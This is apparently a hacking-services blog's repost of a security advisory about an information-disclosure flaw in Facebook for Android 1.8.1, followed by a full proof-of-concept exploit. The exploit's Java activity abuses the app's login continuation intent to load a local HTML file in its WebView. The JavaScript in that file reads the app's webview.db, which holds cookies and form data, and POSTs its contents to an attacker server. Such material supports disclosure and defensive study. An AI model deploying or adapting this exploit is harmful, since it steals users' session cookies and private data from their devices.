Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375421

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/57173/info

Facebook for Android is prone to an information-disclosure vulnerability.

Successful exploits allows an attacker to gain access to sensitive information. Information obtained may aid in further attacks.

Facebook for Android 1.8.1 is vulnerable; other versions may also be affected.

++++++ Attacker's app (activity) ++++++
  
  // notice: for a successful attack, the victim user must be logged-in
  // to Facebook in advance.
  public class AttackFacebook extends Activity {

      // package name of Facebook app
      static final String FB_PKG = "com.facebook.katana";
  
      // LoginActivity of Facebook app
      static final String FB_LOGIN_ACTIVITY
           = FB_PKG + ".LoginActivity";
  
      // FacebookWebViewActivity of Facebook app
      static final String FB_WEBVIEW_ACTIVITY
           = FB_PKG + ".view.FacebookWebViewActivity";
  
      @Override
      public void onCreate(Bundle bundle) {
          super.onCreate(bundle);
          attack();
      }
  
      // main method
      public void attack() {
          // create continuation_intent to call FacebookWebViewActivity.
          Intent contIntent = new Intent();
          contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY);
          // URL pointing to malicious local file.
          // FacebookWebViewActivity will load this URL into its WebView.
          contIntent.putExtra("url", "file:///sdcard/attack.html");
  
          // create intent to be sent to LoginActivity.
          Intent intent = new Intent();
          intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY);
          intent.putExtra("login_redirect", false);
  
          // put continuation_intent into extra data of the intent.
          intent.putExtra(FB_PKG + ".continuation_intent", contIntent);
  
          // call LoginActivity
          this.startActivity(intent);
      }
  }

  ++++++ Attacker's HTML/JavaScript file ++++++
  
  <!--
  attacker's app should put this file to /sdcard/attack.html in advance
  -->
 <html>
  <body onload="doAttack()">
  <h1>attack.html</h1>
  <script>
  // file path to steal. webview.db can be a good target for attackers
  // because it contains cookies, formdata etc.
  var target = "file:///data/data/com.facebook.katana/databases/webview.db";
  
  // get the contents of the target file by XHR
  function doAttack() {
      var xhr1 = new XMLHttpRequest();
      xhr1.overrideMimeType("text/plain; charset=iso-8859-1");
      xhr1.open("GET", target);
      xhr1.onreadystatechange = function() {
          if (xhr1.readyState == 4) {
              var content = xhr1.responseText;
              // send the content of the file to attacker's server
              sendFileToAttackerServer(content);
              // for debug
              document.body.appendChild(document.createTextNode(content));
          }
      };
      xhr1.send();
  }
  
  // Send the content of target file to the attacker's server
  function sendFileToAttackerServer(content) {
      var xhr2 = new XMLHttpRequest();
      xhr2.open("POST", "http://www.example.jp/";);
      xhr2.send(encodeURIComponent(content));
  }
  </script>
  </body>
  </html>